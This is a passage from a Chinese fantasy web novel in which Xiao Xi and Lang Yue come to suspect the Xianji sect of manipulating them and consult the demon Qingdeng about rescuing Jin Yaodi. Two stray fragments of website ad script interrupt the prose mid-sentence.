“所以你的意思是,因为我这么好,所以很招人喜欢么?”朗月见她不走了,也立定在了原地。 萧喜眨了眨眼睛,想都没想就连连点头。 朗月感觉到意识正从他的脑海里不断流失,他仿佛失去了思考的能力,徒留下一颗还会紧张的内心为他把持着情绪,他下意识地咽下一口水,半掩在他薄薄领口下的喉结滚下,一句话从他的口中脱出:“那……你会喜欢吗?” 萧喜瞳孔一缩,以为自己的耳朵坏掉了。 “啊……啊?” 一只不知从哪里窜来的飞鸟落脚在林间,又很快飞窜离开,几串闹腾的动静下来,让挤压在他们头顶的树叶们婆娑不断,惊扰了停留在了树干上的知了们,吵闹声一片接一片地传开。 萧喜“刷”一下就烧红了脸蛋,斑驳的树影让她的目光也变得微微涣散迷离,她看着眼前被林中浓缩的绿意覆盖的身影,意识为之牵引,鬼使神差间,她又是连连点头:“喜……喜欢。” 很快,她就意识到了自己的心直口快,迅速拍了一把脑袋想让自己清醒过来,她躲开朗月的视线,说道:“我……我我们不是朋……朋友吗?喜欢是很正常的,朋友之间的喜欢……不就是这……这样吗。” 朗月也回过神来,他的情况也好不到哪里去,脸上红成了一片,却还要让自己用强作镇定的语气回应她:“你说的没错。” 因为今天和萧喜无意间的闲聊,他将注意力放在了“喜欢”上,他终是意识到了自己的心神不宁,可是他还不敢跨出验实的那一步,无论是在遇到苏且光后的反思,还是现在得到回应后的思忖。 他压制了心中跳脱的情绪,不想让自己再被这一时的新鲜感继续蒙蔽下去,也不想让别人因为自己这昙花一现的感情而倍感压力。 他过往的经历带给他足够的稳重,也已经让他不敢再给出更多试错的机会了。他明白被感情欺骗后受伤的感受,所以他永远不会让自己变成那个叫旁人为他承担伤害和责任的人。 可他分明因为萧喜那句“朋友之间的喜欢”而感到了失落……这是他不能、亦是不敢否认的事实。 当然,他也谨记着,一定要珍惜现在他们之间的关系,诚如苏且光教会他的那样,要珍惜当下……诚如萧喜和芍七教会他的那样,努力敞开心扉,直面别人对自己的感情。 132. 仙机暗涌 萧喜在回到郊外安置的屋子后,简单收拾好了要带走的东西和准备销毁的东西。她跟朗月商量一番后决定最迟明天凌晨就出发,而这处他们住过一个月左右的屋子则必须被遗弃,毕竟这块院落作为请巫之地,已经被太多人知晓。 尽管他们已经想办法公布了停封的消息,但最迟都撑不过三日,总会有病症好了的闲人想要过来一探究竟解解好奇心,或是迷信过头的人非要下塌亲自过来拜谢恩情。 一旦到那个时候,他们今天午后干的活儿就白费了。 出发前一日。 萧喜来来回回清点了自己的东西后,已经过去了将近一个多时辰。等她放下手上的东西后,外面西边的天已经红了一半,傍晚的云上撒着半边天的清蓝,托着另外半天微红色的霞光,叫一片完整的天变成了混着两种不太搭界却看着分外融洽的颜色的画盘,悠悠的薄云衬在画盘边缘,飘逸如沾上水色的颜料,散在空中,洇染不断。 她经过院子时,刚好看到朗月端坐的身姿,他的面前摆着一只用来架笔的单调的“凹”字形的石块,和一只研过墨的砚台。 他规规矩矩地坐在空荡清净的石桌前,挽着袖子,露出一截白皙的手腕,提笔、蘸墨、落字,每每落笔时,他的手上便会凸显出道道有劲的筋纹,看得出他的笔力遒劲,对待笔下之物也是一丝不苟的态度。 萧喜竟从其中悟出了几分岁月静好的感慨,她抱胸靠在门板上静静地看着朗月的动作,并不想上前打扰他。 等到朗月一声响哨后,一只模样稀有的飞莺以极快的速度自东南方飞速赶来,双翼在高空堆积的云彩上划开两道长条形的口子,不一会儿就乖巧地落在了朗月的手臂上。朗月将书写好的信条卷起,系到飞莺的脚踝上,它便颇有灵性地点了点头,再次往它飞来的方向呼啸而去。 萧喜望着那只飞莺在空中留下的一来一回四道夹在云层中间,看起来颇为突兀的口子,心想,朗月朝东南方这个方向传递出去的消息,接受人除了仙机门外,她着实想不出还有别的谁了。 放飞信条后的朗月也终于用余光注意到了侧身抱胸立在门板上的萧喜。 萧喜走向前去,跟他打了个招呼:“我这边东西也都收拾好了,待会儿你最好也带些途中的必须之物,以防不备之需。” 朗月很快回答:“没问题。” “你刚刚是在写送往仙机门的飞信吗?”萧喜想到了芍七的问题,所以还是打算过问一番。 朗月在昨日就跟萧喜提过一嘴这事,所以他压根没有什么要顾忌的事情,就承认道:“是。我们明日最迟日出前出发去盛京,而信件估计也会在那个时辰飞达仙机门。时间上凑了个巧,不易遭我师父怀疑。” “我和请巫的问题虽然解决了,但是芍七消失一说你要怎么跟门内交代?”萧喜由着本心说道。 “短时间内我回不来仙机门,这事情缘由复杂,后续内容我也无法告知门内,所以完全没有提及,言语之间尽量保持平常的模样,芍七跟引魂针的事情能瞒多久就瞒多久。至于苏府祠堂和沧凌城血蠕的问题,我套了个解决问题的模子,去掉了苏且光跟刹摩的成分,再禀报其上。” 萧喜看着朗月面不改色地讲述他要以下瞒上的打算,不禁鼓了掌,赞扬他这过人的才智跟勇气。 “其实,我还有一事要提醒你,说不定以后能帮你看清事情。”萧喜想了想,说道。 她步入了院子,找了处靠近石桌的石礅坐下,面色郑重,道:“在几百年前,封印了芍七跟少五的可都是仙机门,虽然主持者是历代门主,但我觉得这种属于门内机密的事情,门内不可能没有记载,哪怕真的没有记载,也定有特定的传承人。 我敢这么说,倒不是觉得自己机智过人,能一语成谶,而是因为从你口中得知,封印了芍七的黑柄剑是一直留在门内的吧,而且它还是你们门主亲自交给你的。 我不敢相信你们现任门主什么都不知道,不然他能将这么重要且危险的东西草草交付给当时还是七岁小孩的你? 而且刚巧不巧的是,如今你能来沧凌城也是门主亲自交代的。沧凌城跟芍七的联系如此之深,我真不觉得这只是巧合那么简单。” 朗月眸色渐深,他也陷入了深沉的思考之中,不久后他说道:“我能明白。苏且光告诉过我们,六年前那场我认为是妖物作祟的庆阳镇大劫,其实根本就不是妖物的所作所为,而是有心之人嫁祸妖族的手段,从而达到激增人妖两族仇恨的目的,就像剑灵之境两百年前所展露的一样。” “并且,沧凌城这次封印松动、大闹血疾的事情,却刚好是身为少五的妖物所致。要不是我们意识到少五是被刹摩操控的,可能就真的这么理所当然地觉得,这场灾难就是妖族所做了。假使我、青灯跟苏且光都不存在,就不会有人告诉你庆阳镇的真相,你定然会因为沧凌城血蠕之事对妖族更加怨恨。”萧喜沉声说道。 “你不觉得,这很奇怪吗?我怎么觉得,有人想借沧凌城稳固你对妖族的恨意呢?而且,比起刹摩,倒更像是仙机门能干出来的事?恰巧了,你能来沧凌城也是你们门主指引的……” 萧喜双眼微眯,说话的语气也越说越沉,话末还拖了一节尾音,显得疑色重重。 “按照完整的路线来,你和我的行动走线都是从平台镇开始,再到沧凌城,最后抵达盛京……我听了你昨晚说刹摩和我之间的关系后,越发觉得不对劲,因为既然六年前刹摩就能预判我的未来走向和结局,那应该也能提前为我准备好行动路线,我觉得从平台镇开始往后,这一系列行动都像是冥冥之中已经被注定好了的。 而你跟我的行动路线一致,加上沧凌城又是你师父明确为你安排好的,你能保证你从平台镇开始的路线是毫无目的性的吗?当然这里的目的是指,别人为你既定好的。” 为了不让自己的描述有所偏颇,萧喜还在话末特地强调了一番重点。 朗月怔在原地,他意识到自己虽然已经对仙机门产生怀疑,但他潜意识里还是像从前一样默认了师父和仙机门的权威性。长年的思想熏陶,哪有那么简单就能被摆脱的道理,更别提是在短短几个月内了。 正因如此,思绪缜密谨慎的朗月,在面对这样能让萧喜轻易就能联想到的问题时,却毫无敏感性。 他的确没有想到这层面的事情。 “我一开始去平台镇的时候,是因为我要去找詹远换取灵根、线索。那么,朗月你呢?也是仙机门提前给你安排好的吗,就和这次沧凌城一样。”萧喜看着他,继续问道。 朗月苍白着脸色,只是摇了摇头,说道:“这不合历练的规矩,我……我是自己找到平台镇的。” 他说出此话的时候,大脑正在飞速运转,他在回忆在平台镇发生过的事情,并渴望能从中捕捉到任何与事端相关的细节。 果不其然,有因必有果。他回忆到当初和芍七在平台镇捕捉妖物行踪无果时,他们讨论过的话题—— “平台镇妖气冲天,是我在临走前透过仙机镜所见,妖气如此庞大,就算再怎么掩饰,我们都不会对此全然不知。” “仙机镜?!” “这可是你们的镇门至宝,不是说你们那个门主老狐狸一天到晚脑子里的弯弯儿比谁都多吗?这种东西,就这么随随便便搬出来给你看了?” “你们门主都这么信任你了?这玩意儿都肯给你看?!” “不是,我偷偷看到的。” “……” …… 是啊,仙机镜怎么会随随便便就搬出来给他一个初出茅庐的弟子看呢?若非有所安排,师父又何必多此一举呢? 仙机镜往日从未出现过,怎么偏偏在他要正式离开仙机门的时候展露全貌,又刚巧不巧地让他看到镜中之物? 傍晚空气微冷,朗月的背后和手心里却出了一层细蒙蒙的油汗。 原来这一切……早已注定,他已是局中人了。他跟萧喜又有什么区别?都是在茫然无知的情况下渐入迷途。 只是所幸老天没有那般无情,它让他们在生命中彼此相遇,互解暗语,共抵谜团,走出迷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雾,看清局势,所谓宿命般的羁绊便是如此,一旦相聚,便难解亦难分。 尽管,他们目前还没有足够的证据和能力看清局势全貌,但总比一直被人蒙蔽了双眼要好。 只是,仙机门和师父这么做,真的只是跟萧喜说的那样,要他在心中稳固对妖族的偏见和仇恨么? 平台镇的极哀钟和里面关押着的魔兽毕方……还有那两个已经被杀死的在深夜山间运送火油的熊妖…… 这些呢?这些究竟意味着什么?萧喜说,她和他至今的路线具有明确的目的性,最终指向的都是刹摩。 极哀钟并未没有按照规矩安置在仙机门,而是出现在偏僻的平台镇,用来镇压已经困于仙人之境的毕方。上古之书中言,魔族的异兽毕方出世,天下大乱,会将所到之处焚烧殆尽。熊妖运送火油出镇子的时间,刚好能和异兽毕方出世的时间凑在一起……所以,可以从侧面减缓毕方出世、爆发灾难的进程…… 那两只熊妖的作用跟极哀钟的作用如出一辙,却分属不同的立场…… 究竟是谁让这一切在同时间发生呢?虽然詹远也是妖,但却不是指使熊妖行动的人。然而镇子上,除了詹远以外,他又想不到还有谁能有这种能耐。极哀钟呢?是仙机门?这并不好说,因为没有足够的证据。 就算真是仙机门所为,也绝对不可能跟熊妖达成合作…… 非人非妖…… 刹摩?! 刹摩善用血蠕,而血蠕畏火,毕方的出世对血蠕来说莫过于灭顶之灾!所以,是刹摩暗中作梗,不仅仅利用了钟和熊妖,还利用了他和萧喜?! 当时仙人之境仅仅认可了他,却因为萧喜跟他待在一处的原因,才不得已也将她拉入其中的。他怀疑过,为什么仙人之境偏偏选择了他。他现在问着自己相似的问题,为什么仙机门和门主会选择了他,为什么詹远和青灯也选择了他。 可……他绞尽着脑汁也不知道为什么,他甚至开始怀疑,自己究竟是谁。 他继续想着。 毕方……毕方……同样是存在于千年万年前上古之书中的魔族异兽,拥有如此强悍的破坏力,甚至连创造仙人之境的仙人都觉得束手无策,刹摩却十分了解它,只是因为与它存在过同一时空下么? 为何毕方身为魔族异兽可以留下记载,而刹摩作为一个更有能耐的庞大种族却没有在历史上留下任何痕迹? 同样的存在时间……同样强悍的破坏力……一方对一方深入的了解力…… 三句话的叠加,让朗月不禁生出一个可怕的念头——史书记载的魔族很可能就是刹摩,因为称呼的偏颇,从而造成了一种刹摩不存在的假象。 朗月越想越感到心慌,眼神也逐渐迷离。 最后是萧喜把他的魂叫回来的,她担心地看着他,最终叹了一口气,主动揽责道:“抱歉是我考虑不周了,毕竟你在仙机门少则也待十七年多了,短时间就让你接受这些,确实太难了。本来就是当局者迷,旁观者清这个道理嘛,我昨晚也因为自己身陷迷局,差点怀疑人生呢,你现在能有这样的表现,实属正常。然后,这些也就是我初步的推断,至于属不属实,还得看以后,你不能全然信我。” 萧喜看着朗月还缓不过来,只能为难地挠了挠头,绞尽脑汁地想接下来安慰他的话,最后她将注意力锁定到了美食上。 “快晚上了,你想吃点什么?” 朗月终于有了点反应,疑惑地抬起头来看她,问:“你会做?” 萧喜大惊,连忙摇了摇头。 朗月淡淡笑了一声,颇显无奈。 “那走不走?去城里?”萧喜眼睛亮了几分,指着远处渐渐升起的灯火。 “我记得某人今天午后特别不舍地说,中午那顿饭就是在沧凌城的最后一餐了。”朗月虽然调侃,但却已经站起了身子,一副准备好了的模样。 “哈哈,”萧喜尴尬地干笑两声,随即摆出一副讨好的模样,笑说,“您说的都对,都对。额……今晚的饭钱……还得劳烦小公子您多关照些。” 133. 空影落樽(1) 昨晚,萧喜和朗月并没有在城中待多久,他们简单地点了些据说是出了沧凌城就再也吃不到的绝味,吃饭的时候也仅仅说笑了些放松的话题,对于前面常聊的压抑话题只字未提。所以这顿饭吃得很快,吃完后就直接回了屋宅。 晚上的早眠,自然能让他们在今日天还蒙蒙亮的时候,就能拥有足够充沛的精神。 他们将昨天提前清点后的东西收拾进行囊,物品大多简单实用,件数很少。毕竟接下来他们还要面对长时间的奔波,身上不宜负重太多,轻装上阵是最好的选择,有些补给就留到去盛京的路上随便找买即可。 他们徒步走了一些时辰,基本上已经到了沧凌城十里开外的地方,站在坡高的小土丘上看岸城,却只能看到被湿漉漉的薄雾笼罩下的半分城阔。到了能看到人烟的时辰后,他们寻了顺路的车马,雇着人叫他带他们二人上路。 不过,他们现在去的方向却不是北上的盛京城,而是已经熟悉过的庆阳镇。 盛京城凶险万分,萧喜觉得万事还得有个准备才放心,为了方便她在城中尽快找到金瑶蒂,她决定要亲自去会会那名目前只活在朗月口中的女妖青灯,她的直觉告诉她,此行必然会有收获。 坐上马车的萧喜窝在一角,苦恼地揉着自己的脚踝。大早上就徒步行走十多里绝不是简单的事情,中间还没有落脚的时间,就更让事情变得雪上加霜了。她的脚踝格外酸痛,但好在要不了多久就能恢复。同时,她还在感叹幸好自己鞋底够厚实,不然脚底上肯定也会磨出泡来的,这可不是一时半会儿就能缓解得了的。 “你脚不会疼吗?” 萧喜看朗月一副气定神闲的模样,不禁乍舌。 朗月淡淡说道:“这点不算什么,仙机门弟子为了能在远在东南海的海岛上快速上岸除妖,从小都会勤习风行之术,一日就能行上百上千里。” 上百上千里对萧喜来说如同天文数字,更别说是一天就要徒步行走这么远的路程了。她吓得眼睛瞪圆了一圈,一副惊魂未定的模样,楞道:“简直非人啊!” “过奖。”朗月眸色渐温。 萧喜瘪了瘪嘴,她好奇心上头,伸手撩起半边帘子,将目光探出去,最终看到的也只是茫然一片的荒地,和乱糟糟地如同鸡窝似的林地,一角沧凌城的轮廓的都窥不见了。 她心中生出一番惆怅却又释然的情绪,矛盾地叹道:“这次是真的都结束了,沧凌城。” 朗月看着她在望着车外残影时,留给他的后脑勺,神色复杂,却并不说话。 …… 约莫不到两个时辰的时候,萧喜和朗月下了车,站脚的地方跟上次来庆阳镇时留步的地点一样,他们顺着曾经走过的通往那块被历史遗忘的荒凉之地的路,一路摸摸索索,算是没花太大的功夫,就到了目的地。 太阳已经升到了高空,足够的日光普照下来,却还是没有能够洗去庆阳镇给他们留下的阴森孤寞的印象。 砖块缝间的野草野蛮生长,穿梭在堆积在街道两旁的团团枯黄色的乱草中央,黄绿色的色彩搭配在这样的季节里显得格格不入。 街道两畔竖着的残垣断壁们还是老样子,它们似遭受亡国之灾却被迫留于故土的老臣,弯下昔日骄傲而不卑不亢的脊背,以寂寥残缺的身躯,默守着那份被世人遗忘了的悲哀和无奈。 明明它们只是不会说话的死物,它们向来到此处的人们传递着那份无声的沉默,却有着叫人感到震耳欲聋的威力。 萧喜不再笑,她站在宽敞的街道中央,环顾这一切,最后落下一口叹惋。 朗月一直都在她身侧默默注视她的情绪,好在,这一次的萧喜真的已经改变了。她的难过并没有像从前一样,太过绝望,太过持久。她也并未掩饰心中那份伤感,只是将其随心表露了出来。 朗月松下一口气,嘴角弯出淡淡的弧度,这是欣慰的笑。 他们两个人很快就走到了德裕金府贴着封条的大门上,但一直领路在前的萧喜却在此时不自然地往后退了几步,刚好退到了朗月身后。 她有所顾虑地说道:“上次来这儿,遇到了那天煞的蜡人,搞得我现在还有心理阴影。要不,还是你走前面探路吧?你走前面其实更好,毕竟,那个青灯女妖应该跟你更熟一点嘛。” 她倒是把自己的害怕说得理所当然。 “不用担心,太阳已经上来了,要不了多久温度就会跟上来,那些蜡人就算是出来了也是会化的。”朗月无奈道,他脚步上前,轻轻推开了大门,封条被他开门的动作掀动,飘飘荡荡甩下一波灰尘,大剌剌地呼到了他身后的萧喜脸上。 萧喜眯眼甩袖扫了扫弥漫的灰尘,说道:“那也不能保证蜡人真的不会出现。” 敞开了大门后,他们二人将金府前院颓败衰微的模样尽收眼底,他们不禁慢下脚步,从而放低脚步声,好似担心自己的无礼会吵醒栖息在这里的某种怪物,但其实,根本就没有什么怪物,原本可能游荡于此不愿下地府的幽魂们,也早已跟随引魂针的指引魂归本源。 他们推开一间间大堂小屋的门,跟着脚下石板路的指引,一步步深入后院。 进入后院前还得过一次门,而此处的门槛总是格外得高,萧喜是来回吃过两次亏的人,她在朗月推门的时候,盯着他脚前方的门槛,下意识惊呼提醒:“小心!” 朗月自然而然地跨出了门,才回过头来看萧喜,调侃道:“不用担心我,该担心担心的是你自己。” 萧喜微尬,快活地跳过门槛后,没看他,只是往后院四面张望了一番。 后院空地并不大,除了一条通往后院宅子的青石板路以外,就只剩了挨着一棵树冠蓬松葱郁的树干安置的一只石桌,和几只零零散散凑在石桌周边的石礅。 这里展现的氛围跟庆阳镇街道上所见完全一致,荒凉寂静地可怕,毫无生机,更看不出有人生活的痕迹。 那朗月口中提到的那只女妖精青灯会在哪儿呢?青灯是妖,却不是鬼怪,她被囚困在府内,生活起居,行走做事……肯定会留下一些足迹,抑或是生气。 可是,这里太过荒芜死气,完全不符合萧喜的想象。 萧喜倒吸了一口凉气,问道:“你确定,青灯就在这儿吗?” 朗月面色依旧,语气平静地如同一汪波澜不惊的泉面。 “确定,她一直都在这里。” “这里……是哪种这里,金府?还是,就我们现在站着的后院?”萧喜表情有些扭曲,上次她被蜡人吓得差点魂飞魄散的经历十分惊心动魄,以至于在当时就在她心里落下了恐惧的根,不断孕育着某种已知和未知的阴影情绪。 她踩在杂乱的草地里,脚下松软的触感总给她一种心里空落落的虚浮感,于是她打心底对此感到抗拒。她也察觉自己在此处确实快站不住脚了。 朗月没有和以往那般即刻回答她的问题,只是眼色敏锐地扫过面前院落中的景色,动作细致,与其说是在扫看什么,不如说是在打量什么。 很快,他的目光就定格在了一个方向,单手藏在袖子中迅速捏诀,一个指风朝眼睛余光盯着的方向射出去。 而他的动作在此时猝然就变成了某种机关,速度极快的指风带着彪悍的飞诀窜刺过平静的空气,通出一敞逆流的风,吹动了他的发丝。发丝微动间,后院的景色便顿时翻了模样,青天白日翻倒成了散着幽微荧火的黑夜,原本毫无人迹的空地上登时冒出了一条人影…… ……不,是三条,三条人影一前二后地立着,最前面的那个人手里提着亮着魂火般青光的灯笼,灯笼散出的光芒太过荧幽,仅能照亮半截提灯之人的身子,而其余的阴影部分则因幽光的衬托而显得格外黑暗,似墨一般泼在提灯人身后的两只一高一矮的人影身上。 利用如此巧妙的布局营造出的视觉漏洞,很容易让人乍一眼看去,只会注意到站在最前方的人影。 其实这些布满院落的青色幽芒并不瘆人,倒更贴于玉般莹润的质地,但却还是让萧喜感到生理和心理上的不适。 因为这些光芒很像前几日苏府那个夜晚,她看到的,哥哥和苏且光的幽魂散出的魂火的颜色。 萧喜从小便畏惧鬼怪,长大后碰上了庆阳镇那种事情后,她对鬼魂的恐惧就愈发不可收拾了。苏府那夜,尽管站在她面前的魂魄是哥哥抑或是大名鼎鼎的少年将军苏且光,她也要逼迫自己做足了心理准备,才能勉强做到和他们坦然相待。 那晚她与哥哥的久别重逢,在很大一定程度上解开了她深藏于心的所谓罪恶的枷锁,也因此让她对六年前庆阳镇之事有所释然。但这也只是减轻了在她身上日积月累已久的心理障碍,譬如对鬼魂的恐惧,减轻从不意味着消失,或许真有一日能让这些障碍彻底消失,但定然需要旁人更加卖力的帮助和疏导,以及岁月对记忆更多经久不息的消磨。 在条件反射下,没有准备好应对眼前着突如其来的一切的萧喜,很快瑟缩起脑袋,像怕生的猫一般,躲在了朗月的身后。 那三人最前面站着的提着灯的女人自然就是妖怪青灯,而她身后那一高一矮的人影,怕就是上次萧喜和朗月分别遇上的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蜡人了。 朗月看着青灯站在树下,她的身姿妖媚,纤细的手腕微微抬起,带动手中青色的灯笼微微晃动,灯笼下坠着的穗子也随着她的动作左右摇摆着,她并没有要主动过来找他们的意思,而是懒散地扶着树下的石桌缓缓坐下。 她将灯盏安置到桌子上,空出手来撑住她要晃不晃的脑袋,脑后的两只及腰麻花辫都被她挽着垂在她的胸膛前侧上,幽微的光茫照亮了她半张侧脸,她就这样静静地朝朗月和萧喜的方向看着,好看又饱满的唇珠微微开合,倒有些俏皮的韵味在里头,青灯就像是妩媚和俏皮两种几乎毫不相关的气质融合起来的完美特例。 “好久不见啊,朗月~” 方才出现在青灯身后的那两只一高一矮的蜡人不知什么时候闪现在了青灯手侧,毕恭毕敬地端着杯子和茶壶,伺候起主子了。青灯接过蜡人递过来的杯盏,悠悠晃了晃,又拖着她那惯用的勾人的尾音,朝朗月那边问候道。 她微微侧眸,瞥见了凑在朗月身后比他矮下一截人头的萧喜,细细打量了她一番,看出了她对幽青色灯芒的躲避和恐惧。她心想,朗月当真是说到做到,履行了她上次交代给他的帮萧喜解脱的事情。看萧喜的样子,应是都知道了引魂针的事了。 青灯心中微感触动,弯弯眉眼,意味深长地对朗月说道:“看来当初我没有看走眼,朗月,你当真是个听话的好孩子……” 她忽地顿下,语气有所改变:“不过……你刚刚那番破局时的举动着实不礼貌啊,该改改的好。” 萧喜此时虽然与朗月和青灯共处一地,却感到极强的割裂感,一种仿佛她跟他们正处在不同的空间中一样的错觉在她脑海里诞生,对于他们的那个空间来说,萧喜觉得自己彻彻底底成为了一名局外者。 因为她完全听不懂这两人到底在交流什么,从头到尾,都跟在打哑谜似的。 但是这种情况下,她开口出声也不好,感觉这会打断他们的交谈。届时,那个女妖怪青灯的注意力被她引过来,真就是既尴尬又怪异。 朗月这头,显然明了青灯的言中之意。 如今后院之所以能有如此翻天覆地的变化,绝不是其自发导致的,而是朗月出手后,打破了某种不可见的空间隔膜,使其被动发生了转变。 一开始,他跟萧喜相继进入苏府大门前,他就预想过青灯绝不会这么简单地出现。青灯此人心思跳脱诡谲,颇有顽劣根性的她,好似被长年积累的寂寞操控,而叫其行为举止都变得有些极端。 上次来庆阳镇的时候,他就察觉到了这些问题,明明很简单的事情,到青灯这里却非要大费周章后才能解决。青灯此妖极有唯恐天下不乱的觉悟,她用蜡人和幻境叫他和萧喜进入金府的事情,细究下来确实没什么特殊的存在含义,她这么做单纯是觉得这样有趣罢了,因为有趣,才能缓解她被无数寂寞浇灌成的劣根性。 所以,朗月猜想,青灯是不会轻易放过这又一次可以尽情“玩弄”他们,从而消解精神上“疲乏”的机会的。 他们一路上从街道走进金府大门,至走到后院为止,什么事情都没有发生,这就是不对劲的。上一次青灯在外面就开始愚弄他们,估计是尽了兴,所以这次这妖怪就换了手段,选择在里头故弄玄虚了。 最后果不其然,后院里的模样完全出乎朗月的意料。他的直觉告诉他,青灯绝对会在后院某个角落里注视着他和萧喜,他需要找到破开障眼法的突破口,于是在他细致的打量后,他发现不远处一块草地微微塌陷,很像是被人踩在脚底后呈现的模样。 他一不做二不休地暗自捏诀,毫不客气地向那个塌陷的地方向攻去,而其还没有射到指定的地方,就被忽然被什么屏障拦了下来,消失在半空,紧接着,白晃晃的院落就被蒙上了一层漆黑的幕布,周围荒凉不成形的景象,也被精致的琉璃盏和散落在空气中徐徐飘舞的荧光装点成了异世桃源。 朗月承认自己的动作非常突然,但倘如不这么做,焉知能否在这么短的时间内就破解幻局? 所以,触怒了这只脾性矫情的女妖,也是在所难免的事情。 朗月直视着青灯,眉眼坚毅冷静,毫无“知错就改”的觉悟,只是秉着习惯,朝她拱手作了个揖:“今日我和萧姑娘的行程紧迫,来此只是有些要事要请教青灯姑娘,没有更多时间可以耽搁了。” 青灯闻言垂眸低笑一声,好在她再无为难之意,便朝朗月和萧喜招了招手:“那愣着干什么?过来坐着谈。” 她拂着袖,似乎是在示意那站在她身侧的两只蜡人退下。 134. 空影落樽(2) 不久后,后院里就仅剩了三人。没了蜡人站地,萧喜也少了很多心理负担,她跟着朗月一起坐在了石桌旁的石礅上。 朗月给萧喜递了个眼神,意思是接下来的话最好还是由她来说比较好,这也是在之前就商量好的。 萧喜咬着唇,主动跟青灯说话:“我听朗月说,你之前有过要去盛京找金瑶蒂的想法,虽然没有成功,但你至少也见过她。所以,你能不能告诉我她现在的状况,还有……她到底在哪里。我……想去救她。” 青灯看着萧喜因没有底气而间隙逃避的眼神,慢慢收敛了笑容,眼神也变得逐渐犀利,她的声音不再妩媚甜美,反而沉静得可怕:“你想去救她?但我看你这副支支吾吾的模样,总觉得……你的心思没有这么简单。你得说你心里的实话。” 青灯身上带着的大妖魄力让萧喜的额上不禁生出冷汗,她的话让她护在心中的念头变得无处遁形。 萧喜终于抬起了双眼,押足了底气,对上青灯同样锋利的眸光,道:“我想赎罪。” 青灯冷峻的神色终于逐渐缓和下来,笑容重现:“这就对了。毕竟,你的那些过去我可都知道,一旦说的话有了差误,我都能立马察觉。” 萧喜闻言,面色却焦急无措起来,忙道:“你是怎么知道那些的?!” “因为六年前的我,目睹过一切,但那时候的我迟钝又怯懦,不敢也做不到阻止历史继续运转。这世间还藏着很多秘密,秘密之下皆是波涛汹涌,人妖纷争亦是如此。除此之外,还有些事情以我一己之力无法查探,我被封囚于此,一辈子也就这样了,所以接下来的事情是一定要交代给你们的,不仅是有关金瑶蒂的,还是有关仙机门的。” 青灯举杯慢慢喝着,眼神逐渐失神。 “我早就猜到了你们这次会再来找我。”青灯放下杯子,侧眸瞥了萧喜和朗月一眼。 “那你上次为何不一起告诉我?”朗月不解道。 “上次她又不在,光跟你说有什么意思?”青灯撇了撇嘴,又对着萧喜说道,“而且,我觉得要你真正地从六年前的事情中醒悟过来,才更有资格受得起我的交代。否则,我如何放心得下?” “废话不多说。对于金瑶蒂一事,我很无奈地告诉你们,这事情我暂时也没办法。五年前,我去盛京寻她时,她已经成了一名名叫登仙楼的青楼的妾子,备受凌辱。我知道仅有这些,除此之外,唯一敢肯定的也是你们早就知道的事情——她还活着,并且就在盛京。很多年过去了,谁也不能保证她还在不在登仙楼中,谁也不能确定她现在的身份是什么。” 青灯说着说着,捏紧了酒杯,貌似对金瑶蒂的悲惨经历感到格外不忍,言语中也更不乏对不公命运的声讨。 萧喜慌了,她恨不得将半截身子朝青灯的方向倾过去,要不是她还有几分理智残存,搞不定现在都抓上青灯的衣袖了。 听到金瑶蒂这些遭遇而感到痛心疾首的不仅是青灯,萧喜更是如此,她红着眼睛,无力道:“真的没有办法了吗?真的……没有办法了吗?” 青灯摇头道:“我也只是说暂时没有办法。不过,如果你们能带着我的信物去盛京的话,还可能有一丝希望,信物上面残存的不仅有我的气息,还有封印的气息。金瑶蒂身上残存我故人一缕残魂,残魂上也会有些封印的气息。一旦二者在一定距离下接近,封印的气息是会产生共鸣的。” 本来萧喜都要着急地向青灯讨要信物了,却被朗月拦下,他静静的对青灯说:“是有隐患的吧。否则,以你的个性,不会卖关子卖到现在。” 青灯无奈地笑了笑,只得虚虚点头,称道:“你这孩子,当真是聪明绝顶。” 萧喜捏紧指头,指甲压在掌中皮肉之中,白了一片,她毫不犹豫地问她:“什么代价我都能承担,求你……帮帮我。” “会遭反噬的,这封印本就不是什么好东西,两样气息重合,会激化其中的灵力。只是我并不确定遭受反噬的人究竟会是谁,可能是拿着信物靠近金瑶蒂的你和朗月,也可能是金瑶蒂她本人,或许……还可能是我那固执的故人的一缕残魂。”青灯苦涩地说着,神情哀寞。 她真正的心情其实绝没有表面上表现的这般富有理性,她感觉自己的心变成了一叶不稳的轻舟,必须拼命忍着波浪下的涟漪,才能不让自己翻进深不见底的湖心。 众人齐齐默住,萧喜和朗月都移开了看向青灯的目光,似乎是不忍的表现。他们都知道青灯曾经经历过的一切,她对那位故人恨也罢,怨也罢,爱也罢,其实纵使情绪的表达再怎么千变万化,纵观而看,她之所以如此,何尝不是思念的表现? 她一直都忘不掉他。 她对萧喜和朗月说的那些顾虑,都是在自欺欺人罢了,她知道最后真的承担反噬的,不会是萧喜或是朗月,也更加不可能是金瑶蒂,附身在金瑶蒂身上的故人残魂会主动承担这一切。所以这些顾虑,除了她青灯以外,不会有人拥有。 是啊,青灯从不是一个轻易就愿为旁人考虑的妖,六年前对可怜的金瑶蒂会这样,六年后对萧喜也会如此,甚至更残酷地说,她现在对远在盛京的饱受折磨的金瑶蒂也会是这样。 她比萧喜要心性残忍多了,她口口声声说,要拯救金瑶蒂,并不是完完全全真心反省自己的过错后所说的话,她之所以变成现在这样,宁愿放弃自由,主动囚困一生在这方寸之地,是对金瑶蒂有愧,但并不完全是。因为,她对故人的愧意更多。 她以为自己早就放下了故人,但因为这些愧意,她便再无回头之路,自此迷途不知返。 她觉得现在的自己绝不会像曾经那样,只是满心满眼惦记着她对故人的心意。现在的她,虽然依旧任性自私,但她知道自己对故人的情感早已变质了,她忘不了他了,她做了很多对不起他的事情,早就无法全身而退了。 她在泥潭之中挣扎到现在,一直都做不到完全舍下。今天她能说出信物之法,是做足了勇气的。 故人残魂一缕最终在承受反噬后,便会永远散去,从而保下金瑶蒂完整的魂魄。 青灯此法注定了这一结局。 六年前,她私欲泛滥,让金瑶蒂跟故人承受如此磨难,六年后,她又不得不用她的方法,为了保下金瑶蒂而让故人自此从世间消散。 可她却还在一遍一遍地告诉自己,没事的,青灯,你这么做都是为了金瑶蒂好,你是在弥补多年前的过错,你是对的。 事实呢,她从来不知道自己对不对。 